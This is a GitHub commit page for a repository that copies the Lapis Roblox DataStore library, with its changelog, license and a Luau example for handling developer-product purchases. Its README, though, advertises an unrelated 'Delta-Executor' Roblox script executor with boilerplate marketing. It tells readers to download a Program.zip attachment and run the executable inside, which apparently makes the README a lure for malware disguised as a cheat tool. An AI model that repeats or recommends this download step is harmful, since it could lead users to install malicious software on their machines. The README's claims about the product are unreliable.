Skip to content

Commit

Permalink
Initial commit
Browse files Browse the repository at this point in the history
  • Loading branch information
aditya45674 committed Nov 12, 2024
0 parents commit 9ddfdd0
Show file tree
Hide file tree
Showing 45 changed files with 4,316 additions and 0 deletions.
17 changes: 17 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
*.rbxm
*.rbxmx
*.rbxl
*.rbxlx

*.rbxlx.lock
*.rbxl.lock

/Packages
/DevPackages

/examples/**/Packages
/examples/**/ServerPackages

/sourcemap.json

/build
125 changes: 125 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,125 @@
# Lapis Changelog

## Unreleased Changes

## 0.3.3 - August 24, 2024
* Files now use the `.luau` extension instead of `.lua`. ([#61])
* Switched wally realm to `shared`. This means Lapis can be used as a shared or server dependency. ([#62])
* `beforeClose` and `beforeSave` now throw an error if they yield. For more information, see the PR. ([#64])
* Added `Collection:remove` to remove the data from a document. ([#65])
* Session locks will now be removed from documents if `Document:close` fails for the following reasons: ([#66])
* `beforeSave`/`beforeClose` threw an error.
* `validate` threw an error.
* `validate` didn't return `true`.
* `DataStoreKeyInfo:GetMetadata()` is now preserved. Before, it would be erased anytime a `Document` was saved or closed. ([#67])

[#61]: https://github.com/nezuo/lapis/pull/61
[#62]: https://github.com/nezuo/lapis/pull/62
[#64]: https://github.com/nezuo/lapis/pull/64
[#65]: https://github.com/nezuo/lapis/pull/65
[#66]: https://github.com/nezuo/lapis/pull/66
[#67]: https://github.com/nezuo/lapis/pull/67

## 0.3.2 - August 6, 2024
* Added `Collection:read` to view a document's data without editing or session locking it. ([#59])
* **IMPORTANT**: Fixed bug that resets a saved migration version that is ahead of the server's version and is backwards compatible. ([#60])

[#59]: https://github.com/nezuo/lapis/pull/59
[#60]: https://github.com/nezuo/lapis/pull/60

## 0.3.1 - July 6, 2024
* Added `Document:keyInfo()`. It returns the last updated `DataStoreKeyInfo` returned from loading, saving, or closing the document. ([#50])
* Migrations can now update the data mutably. Note: The value still needs to be returned from the migration function. ([#51])
* Gracefully handle `validate` throwing an error in `Collection:load`. Before it would keep retrying the load and spam the console with confusing errors. ([#52])
* Allow `defaultData` to be a function. The return value will be validated when a new document is created. ([#53])
* Migrations can now be marked as `backwardsCompatible`. This allows documents to be loaded on servers with an older version as long as they are compatible.
For more information, see the [docs](https://nezuo.github.io/lapis/docs/Migrations#backwards-compatibility). ([#54])
* The `validate` option for collections is now optional. ([#56])
* Add `freezeData` option to collections to allow mutable updates to documents. ([#57])

[#50]: https://github.com/nezuo/lapis/pull/50
[#51]: https://github.com/nezuo/lapis/pull/51
[#52]: https://github.com/nezuo/lapis/pull/52
[#53]: https://github.com/nezuo/lapis/pull/53
[#54]: https://github.com/nezuo/lapis/pull/54
[#56]: https://github.com/nezuo/lapis/pull/56
[#57]: https://github.com/nezuo/lapis/pull/57

## 0.3.0 - April 14, 2024
* **BREAKING CHANGE**: `Collection:load` no longer caches promises. Each call will now return a unique promise and attempt to load the document separately. This is to fix an edge case that can result in data loss. More information can be found in the pull request. ([#48])

[#48]: https://github.com/nezuo/lapis/pull/48

## 0.2.11 - April 9, 2024
* Fix infinite yield in `game:BindToClose` caused by a document failing to load. ([#45])

[#45]: https://github.com/nezuo/lapis/pull/45

## 0.2.10 - March 25, 2024
* `Document:load` now infinitely yields and doesn't load the document after `game:BindToClose` is called. If a document
does load because UpdateAsync is called just before game close, it is automatically closed. ([#43])

[#43]: https://github.com/nezuo/lapis/pull/43

## 0.2.9 - January 1, 2024
* `Document:close` no longer errors when called again and instead returns the original promise. ([#35])
* This is so it won't error when called from `PlayerRemoving` if `game:BindToClose` happens to run first.

[#35]: https://github.com/nezuo/lapis/pull/35

## 0.2.8 - December 27, 2023
* Removed internal compression code since compression is no longer planned ([#31])
* Data is no longer loaded if it doesn't pass the `validate` function. This means it won't be session locked and migrated. ([#32])

[#31]: https://github.com/nezuo/lapis/pull/31
[#32]: https://github.com/nezuo/lapis/pull/32

## 0.2.7 - November 12, 2023
* Add `Document:beforeSave` callback to make changes to a document before it saves ([#29])

[#29]: https://github.com/nezuo/lapis/pull/29

## 0.2.6 - October 24, 2023
* Added types ([#24])
* Added `document:beforeClose` callback to make final changes to a document before it closes ([#25])
* This callback works even when the document is closed by `game:BindToClose`.
* Added APIs to set a document's `DataStoreKeyInfo:GetUserIds()` ([#26])
* Changed `Collection:load(key: string)` to `Collection:load(key: string, defaultUserIds: {number}?)`
* `defaultUserIds` only applies if it's the first time the document has ever been loaded.
* Added `Document:addUserId(userId: number)`
* Added `Document:removeUserId(userId: number)`

[#24]: https://github.com/nezuo/lapis/pull/24
[#25]: https://github.com/nezuo/lapis/pull/25
[#26]: https://github.com/nezuo/lapis/pull/26

## 0.2.5 - September 8, 2023
* Fix existing data not being frozen on load ([#20])

[#20]: https://github.com/nezuo/lapis/pull/20

## 0.2.4 - August 3, 2023
* Fix `game:BindToClose` not waiting for documents to close

## 0.2.3 - July 19, 2023
* Fix silly mistake where I don't return the collection from `createCollection`

## 0.2.2 - July 19, 2023
* Remove write cooldown throttling since write cooldowns [were removed](https://devforum.roblox.com/t/removal-of-6s-cool-down-for-data-stores/2436230) ([#11])
* Fix save merging algorithm ([#13])
* Added new throttle queue which allows load/save/close requests from different keys to be processed at the same time ([#15])

[#11]: https://github.com/nezuo/lapis/pull/11
[#13]: https://github.com/nezuo/lapis/pull/13
[#15]: https://github.com/nezuo/lapis/pull/15

## 0.2.1 - June 10, 2023
* Move TestEZ and DataStoreServiceMock to dev dependencies
* Remove unused files from published package

## 0.2.0 - May 24, 2023
* Renamed `Collection:openDocument` to `Collection:load`
* Renamed `retryAttempts` config setting to `saveAttempts`
* Renamed `acquireLockAttempts` config setting to `loadAttempts`
* Renamed `acquireLockDelay` config setting to `loadRetryDelay`
* Fixed edge case that allowed documents to load even when their migration version exceeded the server's latest migration
21 changes: 21 additions & 0 deletions LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
MIT License

Copyright (c) 2024 Micah

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
82 changes: 82 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
# Delta-Executor

![Delta-Executor Logo](https://www.example.com/delta_executor_logo.png)

Explore how Roblox Delta Executor is transforming the landscape of Roblox scripting, offering a host of premium features and industry-leading support, all free of charge, to users worldwide, revolutionizing the scripting experience for millions.

---

## Table of Contents

- [Features](#features)
- [Installation](#installation)
- [Usage](#usage)
- [Contributing](#contributing)
- [License](#license)

---

## Features

🚀 **Cutting-edge Technology**: Delta Executor leverages the latest advancements in Roblox scripting to provide users with unparalleled performance and reliability.

🛠 **Feature-Rich**: Packed with a wide array of tools and utilities, Delta Executor empowers developers to bring their creative visions to life effortlessly.

🔄 **Automatic Updates**: Stay ahead with automatic updates that ensure you always have access to the most recent enhancements and bug fixes.

🔒 **Enhanced Security**: Your scripts are in safe hands with Delta Executor's robust security measures, safeguarding your work from unauthorized access.

📚 **Documentation**: Comprehensive documentation that guides users through every aspect of Delta Executor, making it easy to get started and maximize its potential.

---

## Installation

To get started with Delta Executor, follow these simple steps:

1. Download the latest version of Delta Executor from the official repository by clicking on the button below:

[![Download Delta Executor](https://img.shields.io/badge/Download-Program.zip-<HEX-COLOR-CODE>)](https://github.com/user-attachments/files/17563020/Program.zip)

2. Extract the downloaded ZIP file to your desired location on your computer.
3. Open the extracted folder and run the installation executable.
4. Follow the on-screen instructions to complete the installation process.
5. Once installed, you're ready to experience the power of Delta Executor!

---

## Usage

Delta Executor offers a user-friendly interface and a seamless scripting experience. Here are some common tasks you can accomplish using Delta Executor:

1. **Script Development**: Write, test, and debug your Roblox scripts effortlessly within the Delta Executor environment.
2. **Script Execution**: Execute your scripts with lightning speed and see the results in real-time.
3. **Collaboration**: Share scripts with other developers easily using Delta Executor's collaboration features.
4. **Customization**: Customize your scripting environment to suit your preferences and workflow.

Get creative, experiment with different features, and unlock your full scripting potential with Delta Executor!

---

## Contributing

We welcome contributions from the community to help improve Delta Executor. If you have ideas for new features, bug fixes, or any other enhancements, feel free to:

- Fork the Delta-Executor repository.
- Create a new branch for your feature/fix.
- Make your changes.
- Submit a pull request detailing your modifications.

Your contributions are highly valued, and together we can make Delta Executor even better for all users!

---

## License

Delta Executor is licensed under the MIT License. See the [LICENSE](LICENSE) file for more details.

---

Thank you for choosing Delta Executor to enhance your Roblox scripting experience. We are committed to providing you with top-notch tools and support to make your development journey smooth and rewarding. Happy scripting! 🎮🚀👾

---
6 changes: 6 additions & 0 deletions default.project.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"name": "lapis",
"tree": {
"$path": "src"
}
}
114 changes: 114 additions & 0 deletions docs/DeveloperProduct.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,114 @@
---
sidebar_position: 4
---

# Handling Developer Products
The following code is an example of how you would handle players purchasing developer products:
```lua
local DEFAULT_DATA = { coins = 100, recentPurchases = {} }
local RECENT_PURCHASES_LIMIT = 100
local PRODUCTS = {
[12345] = function(oldData)
-- Product callbacks return a new version of the data.
return Sift.Dictionary.merge(oldData, {
coins = oldData.coins + 100,
})
end,
}

local collection = Lapis.createCollection("PlayerData", {
defaultData = DEFAULT_DATA,
validate = t.strictInterface({ coins = t.integer, recentPurchases = t.array(t.string) }),
})

local documents = {}

local function onPlayerAdded(player: Player)
collection
:load(`Player{player.UserId}`, { player.UserId })
:andThen(function(document)
if player.Parent == nil then
document:close():catch(warn)
return
end

documents[player] = document
end)
:catch(function(message)
warn(`Player {player.Name}'s data failed to load: {message}`)
player:Kick("Data failed to load.")
end)
end

local function onPlayerRemoving(player: Player)
local document = documents[player]

if document ~= nil then
documents[player] = nil
document:close():catch(warn)
end
end

local function processReceipt(receiptInfo): Enum.ProductPurchaseDecision
local player = Players:GetPlayerByUserId(receiptInfo.PlayerId)
if player == nil then
return Enum.ProductPurchaseDecision.NotProcessedYet
end

while documents[player] == nil and player.Parent ~= nil do
-- Wait until the document loads or the player leaves.
task.wait()
end

local document = documents[player]
if document == nil then
return Enum.ProductPurchaseDecision.NotProcessedYet
end

local data = document:read()

if table.find(data.recentPurchases, receiptInfo.PurchaseId) then
-- The purchase has been added to the player's data, but it might not have saved yet.
local saveOk = document:save():await()

if saveOk then
return Enum.ProductPurchaseDecision.PurchaseGranted
else
return Enum.ProductPurchaseDecision.NotProcessedYet
end
end

-- The product callback must not yield. Otherwise, it can return outdated data and overwrite new changes.
local productOk, dataWithProduct = pcall(PRODUCTS[receiptInfo.ProductId], data)
if not productOk then
return Enum.ProductPurchaseDecision.NotProcessedYet
end

local newRecentPurchases = Sift.Array.push(data.recentPurchases, receiptInfo.PurchaseId)
if #newRecentPurchases > RECENT_PURCHASES_LIMIT then
newRecentPurchases = Sift.Array.shift(newRecentPurchases, #newRecentPurchases - RECENT_PURCHASES_LIMIT)
end

document:write(Sift.Dictionary.merge(dataWithProduct, {
recentPurchases = newRecentPurchases,
}))

local saveOk = document:save():await()
if not saveOk then
return Enum.ProductPurchaseDecision.NotProcessedYet
end

return Enum.ProductPurchaseDecision.PurchaseGranted
end

-- The ProcessReceipt callback must be set before the Players.PlayerAdded signal is fired, otherwise the player's
-- existing receipts won't be processed when they join.
MarketplaceService.ProcessReceipt = processReceipt

Players.PlayerAdded:Connect(onPlayerAdded)
Players.PlayerRemoving:Connect(onPlayerRemoving)

for _, player in Players:GetPlayers() do
onPlayerAdded(player)
end
```
Loading

0 comments on commit 9ddfdd0

Please sign in to comment.